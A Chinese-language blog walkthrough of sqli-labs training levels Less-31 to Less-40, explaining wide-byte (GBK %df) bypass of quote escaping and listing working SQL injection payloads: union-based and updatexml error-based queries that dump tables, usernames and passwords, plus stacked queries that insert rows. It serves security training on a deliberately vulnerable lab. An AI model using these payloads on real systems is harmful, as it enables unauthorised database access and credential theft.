当前位置: 首页 > news >正文

sqli-labs-master/Less-31~Less-40

Less-31

这一关,先试闭合

?id=1")--+

页面正常说明使用双引号括号闭合的

那我们直接爆库 

?id=-1")union select 1,database(),3--+

有了库名接下来我们爆表

?id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 接下来爆表

?id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

然后爆字段

?id=-1")union select 1,group_concat(id,'~',username,'~',password),3 from users --+

完成。

Less-32

这一关他将我们的单引号转义了,这关就是单引号闭合的,如果没有单引号我们是没有办法做的

那怎么绕过呢?这就需要知道他将我们输入的单引号转义成了什么,通过查看他将单引号转移成了

\'。

为啥转义成\'就不能闭合了明明单引号还在?

在SQL中, \' (反斜杠+单引号)会被当作字符串的一部分,核心原因是反斜杠( \ )的“转义作用”——它将单引号从“语法符号”变成了“普通字符”,让SQL解析器不再将其视为字符串的边界。
具体来说:
SQL语句中,单引号( ' )的默认作用是标识字符串的开始或结束(即边界)。例如:
SELECT * FROM users WHERE name = 'zhangsan'
这里的两个单引号是边界,中间的 zhangsan 是字符串内容。
如果用户输入包含单引号(比如 user'123 ),不处理的话会破坏语法:
SELECT * FROM users WHERE name = 'user'123'  -- 语法错误(多了一个单引号)
为了避免这种情况,程序会用反斜杠( \ )对单引号进行转义,转义后单引号变成 \' 。此时,SQL解析器会将 \ 视为“转义符”,理解为:“后面的单引号不是边界,而是字符串里的一个普通字符”。
例如,输入 user'123 被转义为 user\'123 ,SQL语句变为:
SELECT * FROM users WHERE name = 'user\'123'
此时,解析器会把 user'123 整体当作字符串内容(单引号被当作普通字符),语法正确,避免了注入。
简单说: \ 的作用是“告诉SQL解析器:后面的单引号不是边界,只是个普通字符”,因此 \' 会被当作字符串的一部分处理。

那怎么绕过呢?

宽字节注入的绕过原理
宽字节注入的核心是利用字符编码转换,抵消反斜杠的转义作用。具体场景如下:
- 应用程序使用宽字节编码(如GBK,每个字符占2字节)存储数据。
- 转义时,反斜杠( \ )在ASCII编码中是单字节(十六进制  0x5C )。
当用户输入一个高字节字符(如  0xBF )时,应用程序在将输入转换为宽字节编码时,会将  0xBF  与后面的反斜杠  0x5C  合并为一个GBK字符( 0xBFC5  是一个合法的GBK字符)。此时,反斜杠被“消耗”,原本被转义的单引号  \'  会恢复为  ' ,从而重新具备破坏SQL语句的能力。
例如:
- 用户输入  %BF' ( %BF  是  0xBF  的URL编码)。
- 转义后变为  %BF\' (即  0xBF 0x5C 0x27 )。
- 宽字节编码转换时, 0xBF  与  0x5C  合并为一个字符,剩余  0x27 (单引号),导致SQL语句被注入:
SELECT * FROM users WHERE username = '�' OR ... ( �  是合并后的宽字节字符,单引号恢复作用)。
总结
单引号被转义为  \'  是应用程序的安全防护机制,目的是将单引号从语法符号转为普通字符;而宽字节注入通过编码特性“吃掉”反斜杠,使单引号恢复语法作用,从而绕过防护。

知道了这些我们再来做这道题

首先我们来爆库名,因为没有回显点所以我们用报错函数

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

下面爆表名,这里注意不能再用'security'了因为它的单引号也会被转义

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

下面爆字段,同理

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+

 最后爆数据

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+

Less-33

试了一下这一关也是宽字节注入,和上一关一模一样,直接参考就行

Less-34

这一关改成了post传参,但还是一样,因为post传参不显示在url上了,所以我们直接抓包做就好了

不在输入框输入我们拼接的语句是因为它会将我们的语句编码

爆库

%df' or updatexml(1,concat(0x7e,(database()),0x7e),1)#

下面我就不说了

Less-35

这一关发现不需要闭合,它是一个数字型的,我们的语句会直接生效,数字型闭合宽字节

那直接爆库

?id=1 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 爆表

?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+

最后爆数据

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+

 Less-36

这一关竟然和32一样宽字节注入

爆库

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

后面我就不写了

Less-37

 这一关又是一个post型宽字节注入,抓包报库

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 后面参考34关

Less-38

用来练习一下堆叠注入上面关卡还没有用到过,堆叠注入就是拼接的语句后加上分号然后跟上增删改查的语句。

例如我们往进去插一条数据

?id=1' union select 1,2,3;insert into users (id,username,password) values(111,'2','3')--+

 看一下这条数据进去了没

?id=1' union select 1,(select group_concat(username, password) from users where id = 111),3 --+

 

以此类推。 

 Less-39

这一关数字型堆叠注入

?id=1 union select 1,(select group_concat(username, password) from users where id = 111),3 --+

和上一关一样。

Less-40

还是用堆叠注入单引号括号闭合

?id=-1') union select 1,(select group_concat(username, password) from users where id = 111),3 --+

http://www.xdnf.cn/news/1242955.html

相关文章:

  • openeuler离线安装软件
  • Hexo - 免费搭建个人博客07 - 添加右上角的“目录”
  • 先知模型或者说从容的模型
  • Linux—yum仓库及NFS网络共享服务
  • Java基础-斗地主游戏
  • opencv引入libavif
  • 从 0 到 1 开发图书管理系统:飞算 JavaAI 让技术落地更简单
  • Prometheus-3--Prometheus是怎么抓取Java应用,Redis中间件,服务器环境的指标的?
  • 【慕伏白】Android Studio 配置国内镜像源
  • 内联函数:提升效率的空间换时间艺术
  • FreeRTOS源码分析四:时钟中断处理响应流程
  • 深入浅出 RabbitMQ:工作队列实战(轮训策略VS公平策略)
  • 鸿蒙南向开发 编写一个简单子系统
  • 机器学习 入门——决策树分类
  • 并发编程常用工具类(下):CyclicBarrier 与 Phaser 的协同应用
  • C++入门自学Day6-- C++模版
  • 飞算JavaAI需求转SpringBoot项目沉浸式体验
  • 【BUUCTF系列】[极客大挑战 2019]LoveSQL 1
  • vllm启动Qwen/Qwen3-Coder-30B-A3B-Instruct并支持工具调用
  • MLIR Introduction
  • android内存作假通杀补丁(4GB作假8GB)
  • History 模式 vs Hash 模式:Vue Router 技术决策因素详解
  • ZYNQ-按键消抖
  • JavaScript 中的流程控制语句详解
  • 3.JVM,JRE和JDK的关系是什么
  • 第二十四天(数据结构:栈和队列)队列实践请看下一篇
  • SQL注入SQLi-LABS 靶场less39-50详细通关攻略
  • 基于实时音视频技术的远程控制传输SDK的功能设计
  • 【ECCV2024】AdaCLIP:基于混合可学习提示适配 CLIP 的零样本异常检测
  • [GESP202306 四级] 2023年6月GESP C++四级上机题超详细题解,附带讲解视频!